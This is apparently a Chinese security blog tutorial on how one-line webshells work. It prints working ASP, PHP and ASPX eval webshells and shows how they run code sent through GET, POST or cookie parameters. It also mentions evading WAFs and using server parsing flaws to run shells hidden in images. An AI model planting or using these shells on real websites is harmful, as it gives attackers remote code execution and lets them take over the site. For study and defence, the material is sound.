一句话木马是如何被执行的?

0x01 什么是一句话

一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数种变形,但本质是不变的:木马的函数执行了我们发送的命令。

0x02 最最典型的一句话小马

asp一句话:<%eval request("heroes")%>
php一句话: <?php @eval($_POST[value]);?>
aspx一句话:<%@ Page Language="Jscript"%>
			 <%eval(Request.Item["value"])%>

一句话木马短小精悍,格式千变万化,因为总是被waf拦截,所以一句话格式可以进行无数种变化绕过waf,可谓是道高一尺、魔高一丈!

0x03 大马与小马

小马特点:小马体积小,容易隐蔽,隐蔽性强,最重要的在于能与图片结合在一起上传之后可以利用Nginx或者iis6的解析漏洞来运行, 不过功能少,一般只有上传功能。

大马特点:大马体积大,一般在50k以上。功能多,一般都包括提权功能,磁盘管理,数据库连接,执行命令甚至有些具备自带提权功能和压缩,解压缩网站程序的功能。隐蔽性不好,而大多代码如果不加密的话容易被杀毒软件查杀。

0x04 一句话小马是如何执行的呢

我们可以通过GET 、POST 、COOKIE 这三种方式向一个网站提交数据,一句话木马用$ _GET[’ ‘]、$ _POST[’ ‘]、$ _COOKIE[’ '] 接收我们传递的数据,并把接收的数据 传递给一句话木马中执行命令的函数,进而执行命令。

所以看到的经典一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。

就像是这样:<?php @eval($_POST['a']);?>执行命令的函数(接收的数据)

举个例子: <?php @eval($_POST['a']);?>

其中eval就是执行命令的函数,$_POST[‘a’]就是接收的数据。

eval函数把接收的数据当作php代码来执行。

这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。

这便是一句话木马的强大之处。

因为木马是接收post请求中 “a” 的数据( $_POST[‘a’]),所以我们必须以post方法发送数据并且将我们要执行的代码赋值给“a”。

如果把木马中的post替换成get,那么我么就需要以GET方法发送“a”,(就像这样: http://127.0.0.1/test.php?a=phpinfo(); )我就不再另行演示了。

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值